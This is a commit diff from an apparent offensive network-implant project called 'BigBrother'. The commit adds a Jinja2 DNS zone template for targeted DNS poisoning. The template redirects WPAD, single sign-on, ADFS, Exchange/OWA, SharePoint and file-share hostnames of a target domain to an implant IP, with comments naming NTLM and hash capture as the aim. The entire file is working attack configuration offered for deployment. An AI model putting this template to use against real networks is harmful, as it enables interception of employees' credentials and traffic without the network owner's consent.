Initial public release

Full BigBrother network implant - passive SOC + active exploitation.
Personal identifiers removed; all capabilities intact.
See README.md for setup and docs/deployment.md for detailed deployment.

templates/dns_zones/selective.zone.j2

@@ -0,0 +1,49 @@
+# BigBrother DNS Zone — Selective Redirection
+#
+# Jinja2 template for targeted DNS poisoning. Render with:
+#   implant_ip: IP address to redirect to
+#   target_domain: Primary target domain (e.g., "corp.local")
+#   extra_domains: Optional list of additional domains
+#
+# Format: domain  target_ip
+# Lines starting with # are ignored.
+#
+# Usage:
+#   from jinja2 import Template
+#   rendered = Template(open("selective.zone.j2").read()).render(
+#       implant_ip="192.168.1.50",
+#       target_domain="corp.local",
+#       extra_domains=["intranet.company.com", "vpn.company.com"]
+#   )
+
+# WPAD — forces proxy autoconfiguration to implant (NTLM capture)
+wpad.{{ target_domain }}  {{ implant_ip }}
+wpad  {{ implant_ip }}
+
+# Internal authentication endpoints
+login.{{ target_domain }}  {{ implant_ip }}
+auth.{{ target_domain }}  {{ implant_ip }}
+sso.{{ target_domain }}  {{ implant_ip }}
+adfs.{{ target_domain }}  {{ implant_ip }}
+
+# Exchange / mail
+autodiscover.{{ target_domain }}  {{ implant_ip }}
+mail.{{ target_domain }}  {{ implant_ip }}
+owa.{{ target_domain }}  {{ implant_ip }}
+
+# SharePoint / intranet
+intranet.{{ target_domain }}  {{ implant_ip }}
+sharepoint.{{ target_domain }}  {{ implant_ip }}
+portal.{{ target_domain }}  {{ implant_ip }}
+
+# File shares (for hash capture)
+files.{{ target_domain }}  {{ implant_ip }}
+nas.{{ target_domain }}  {{ implant_ip }}
+dfs.{{ target_domain }}  {{ implant_ip }}
+
+{% if extra_domains is defined %}
+# Additional targeted domains
+{% for domain in extra_domains %}
+{{ domain }}  {{ implant_ip }}
+{% endfor %}
+{% endif %}